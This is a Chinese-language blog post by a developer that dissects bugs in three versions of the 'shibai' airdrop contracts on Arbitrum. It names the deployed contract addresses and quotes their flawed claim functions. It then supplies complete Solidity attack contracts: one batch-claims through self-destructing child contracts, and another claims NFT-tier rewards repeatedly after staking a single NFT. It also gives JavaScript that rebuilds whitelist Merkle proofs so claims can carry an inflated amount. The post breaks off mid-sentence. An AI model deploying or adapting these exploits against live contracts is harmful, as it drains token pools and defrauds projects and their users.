Cover photo

[半场闹剧]shibai空投合约中的bug总结

随着一部分人的暴富,一部分人的愤怒,shibai第一阶段空投暂时告一段落。

作为一名区块链开发者,一直没有撸过空投搞过漏洞,这是从业几年中第一次喝到汤,遂记录下这几天的研究。

0x01 ARB空投地址的疯狂

这本来是无成本撸空池子的版本,但在空投前的一个小时,不知道是团队没有全部完成项目还是确实发现了漏洞,最终取消了空投

合约地址:

0x911355f8fcb1b25b9d63f2520e5676c94008f82a

https://arbiscan.io/address/0x911355f8fcb1b25b9d63f2520e5676c94008f82a#code

在这个合约中,claimTokensForARB函数内部并没有对领取空投的地址进行检查,任何一个地址都可以以“ARB空投地址的条件”领取空投

function claimTokensForARB() public claimIsLive {
    require(ARBclaimCount <= maxAddressForARBclaim, "sorry, claim has ended");
    require(!hasClaimedTokens[msg.sender], "You have claimed your tokens");

    hasClaimedTokens[msg.sender] = true;
    ARBclaimCount += 1;
    totalTokensClaimed += claimPerArbWallet;

    require(testShibToken.transfer(msg.sender, claimPerArbWallet), "Transfer failed");
    emit HasClaimedTokens(msg.sender, claimPerArbWallet); 
}

此时你可能会想到创建多个小号去领取空投,可那样的话等领完归集完币价就被砸去90%了,我们可以通过合约创建合约的方式,在一笔交易内领取N人份的空投。

我在测试网上部署了测试合约,成功实现了批量领取,领取完成后归集到一个地址。

post image

攻击合约代码

pragma solidity ^0.8.0;


interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}

interface shibDis2 {
    function claimTokensForARB() external;
}

// 空投领取合约
contract Runner {

    function cliam(address airdrop, address _shibai, address receiver) public {
        shibDis2 shibDis2Contract = shibDis2(airdrop);
        // 通过ARB空投的方式领取合约
        shibDis2Contract.claimTokensForARB();
        IERC20 shibai = IERC20(_shibai);
        // 查询领取到的余额
        uint256 balance = shibai.balanceOf(address(this));
        if (balance > 0) {
            // 归集余额
            shibai.transfer(receiver, balance);
        }
        // 销毁合约
        selfdestruct(payable(address(receiver)));
    }
}


contract Run {
    address immutable receiver  = address("归集地址");
    // 批量领取
    function beRich(uint256 count, address air, address shibai) public {
        Runner runner;
        for (uint256 i=0; i < count; i++) {
            runner = new Runner();
            runner.cliam(air, shibai, receiver);
        }
    }
}

当时把批量领取的函数命名为“beRich”,很遗憾,最终没有rich。

如果不考虑滑点,还可以在Run合约内部调用神剑的swap接口,领取完成后立刻卖掉。

0x02 质押NFT

在2.0版本中,项目放尝试抵押NFT让大家领空投,这样不会让NFT崩盘,似乎是个不错的方法,但真是这样吗?

合约地址:

0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4

https://arbiscan.io/address/0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4#code

在这个合约中,用户需要先调用depositNFT方法将NFT存入空投合约,然后调用claimTokenForNFT方法领取空投。

在depositNFT方法中,代码限制了同一个tokenID只能被存入一次,但最大的错误在下面isStaking[msg.sender] = true,也就是说,只要用户存入了一个NFT,就会把用户标记为已抵押状态。

function depositNFT(uint256[] memory _tokenIds) public {
    uint256 depositTimestamp = block.timestamp;
    uint256 noOfNfts = _tokenIds.length;
    require(noOfNfts > 0, "balance of nfts must be greater than zero");

    for(uint256 i = 0; i < noOfNfts; i++) {
        uint256 tokenId = _tokenIds[i];
        require(nftContract.ownerOf(tokenId) == msg.sender, "You must own the nft");
        require(deposits[msg.sender][tokenId] == 0, "You have already deposited");

        nftContract.safeTransferFrom(msg.sender, address(this), tokenId);
        deposits[msg.sender][tokenId] = depositTimestamp;
    }

    isStaking[msg.sender] = true;
    emit HasStakedNFT(msg.sender, noOfNfts, depositTimestamp);
}

在cliamTokenForNFT方法中,检查了用户是否抵押,但并没有对_tokenIds参数进行检查,也就是说,我们可以传入长度大于10的数组,这样就可以领取到3.0最大倍数的空投奖励(ps:直到最后一个版本,项目方才把>10改成>=10,在之前,持有10个NFT的用户只能领取到0个空投)。

function claimTokenForNFT(uint256[] memory _tokenIds) public claimIsLive {
    require(isStaking[msg.sender] == true, "You must stake your nft(s) before claiming");
    uint256 noOfNfts = _tokenIds.length;
    require(noOfNfts > 0, "balance of nfts must be greater than zero");

    uint256 amountOfTokensToClaim;
    if(noOfNfts<= 2) {
        amountOfTokensToClaim = (25 * claimPerNFT) / 100;
    } else if( noOfNfts > 2 && noOfNfts <= 4){
        amountOfTokensToClaim = (125 * claimPerNFT) / 100;
    } else if(noOfNfts > 4 && noOfNfts <= 9) {
        amountOfTokensToClaim = (250 * claimPerNFT) / 100;
    } else if(noOfNfts > 10) {
        amountOfTokensToClaim = (300 * claimPerNFT) / 100;
    }

    totalTokensClaimed += amountOfTokensToClaim;
    require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed");
    emit HasClaimedTokens(msg.sender, amountOfTokensToClaim);
}

就领取一次?不,你可以领取无限次,在claimTokenForNFT方法中,同样没有对已领取的地址进行标记,导致用户可以无限次领取空投。

我们又部署了一个合约,只抵押了一个tokenID为11的NFT,就领取了50次空投。

post image

攻击合约代码

pragma solidity ^0.8.0;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IERC721 {
    function approve(address to, uint256 tokenId) external;
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}

interface ShibDis {
    function depositNFT(uint256[] memory _tokenIds) external;
    function claimTokenForNFT(uint256[] memory _tokenIds) external;
}


contract Attack {
    // 接受空投地址
    address public dest = address(0x3924105EB1Da270909De27F6f10bCa85B0cbf7f2);
    // shibai NFT地址
    IERC721 public NFT = IERC721(address(0xD99984e1D6AcB5471681ba4E070F19a9c29B7844));
    // 空投合约地址
    ShibDis public dis = ShibDis(address(0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4));
    // shibai token地址
    IERC20 shibai = IERC20(address(0xFA296FcA3c7DBa4a92A42Ec0B5E2138DA3b29050));
    

    uint256[] depositNFTs;
    // 领取11份NFT的奖励
    uint256[] giftNFTs = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11];

    function doClaim(uint256 count, dis nftIndex) public  {
        if (shibai.balanceOf(address(ShibDis)) == 0) {
            return;
        }
        // 授权空投合约操作该合约的NFT
        NFT.approve(address(dis), nftIndex);
        depositNFTs.push(nftIndex);
        // 抵押NFT
        dis.depositNFT(depositNFTs);
        // 领取空投奖励N次
        for (uint256 i=0; i < count; i ++) {
            dis.claimTokenForNFT(giftNFTs);
        }
        // 将领取到的空投转到dest地址
        shibai.transfer(dest, shibai.balanceOf(address(this)));
    }

}

这个版本最终也没有上线,可能项目方又发现了bug,或者前端实现比较困难

0x03 非常学术派,merkel证明,但百密一疏

合约地址:

0x3D3CcedDB8F450CE107822C5F98F5E83200EB308

https://arbiscan.io/address/0x3d3cceddb8f450ce107822c5f98f5e83200eb308#code

在这个合约中,项目方使用了和uniswap空投时一样的merkel证明领取空投,而不使用和AICODE技术一样的后台签名,技术含量不错,也可能是为了不部署后端服务?

这个版本的代码杜绝了重复领取或非白名单领取,但还是犯了和0x02中相同的错误,没有对_amout参数进行校验,导致只要在白名单中的用户无论持有几个NFT,都可以通过构建交易data的方式领取10份NFT的空投奖励。

function claimTokensForNft(bytes32[] calldata proof, uint256 _amount) public claimIsLive {
    bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
    require(MerkleProof.verify(proof, merkleRootNFT, leaf), "Wallet not eligible to claim");

    require(_amount > 0, "You do not own any tokens");
    require(!hasClaimedNFT[msg.sender], "You have claimed your Tokens");

    uint256 amountOfTokensToClaim;
    if(_amount<= 2) {
        amountOfTokensToClaim = tier1Claim;
    } else if( _amount > 2 && _amount <= 4){
        amountOfTokensToClaim = tier2Claim;
    } else if(_amount > 4 && _amount <= 9) {
        amountOfTokensToClaim = tier3Claim;
    } else if(_amount >= 10) {
        amountOfTokensToClaim = tier4Claim;
    }

    totalTokensClaimed += amountOfTokensToClaim;
    hasClaimedNFT[msg.sender] = true;

    require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed");
    emit HasClaimedNFT(msg.sender, amountOfTokensToClaim);
}

即使不能批量,那我们可以抢跑,更早领取就能更早卖出。

在项目网站https://aishibaog.xyz中,有一个whitelist_Address.js文件,这个文件记录了快照的白名单。

post image

基于白名单地址,我们就可以构建出merkel根,再生成白名单地址的merkel proof,再自定义_amount参数构建16进制数据,发起领取空投交易。

const { WHITELIST_ADDRESS } = require("./whitelist_Address")
const keccak256 = require("keccak256")
const { MerkleTree } = require("merkletreejs")


const addressLeaves = WHITELIST_ADDRESS.map(x => keccak256(x))
const arbMerkleTree = new MerkleTree(addressLeaves, keccak256, {
    sortPairs : true
})
function getProof(_userAddress) {
  const _leaf = keccak256(_userAddress);
  return arbMerkleTree.getHexProof(_leaf);
};

至于最终发布的时候网页上领不了空投,道听途说是没有做大小写判断,后面没有深入研究。

0x04 写在后面

有格局:不知道项目方是不是真的大学生,阴差阳错搞起来的,虽然技术差了点,但还是磕磕绊绊履行了空投承诺,似乎后面还会补上空投?祝大家好运!

没格局:在空投前,项目方往空投白名单里加了30个左右自己的地址,翻看交易记录后这些地址只有两三笔交易,更别说持有过NFT了。

还有一个,有地址在开盘时抢筹了11ETH的币,并在当晚冲进了抹茶,不确定是否想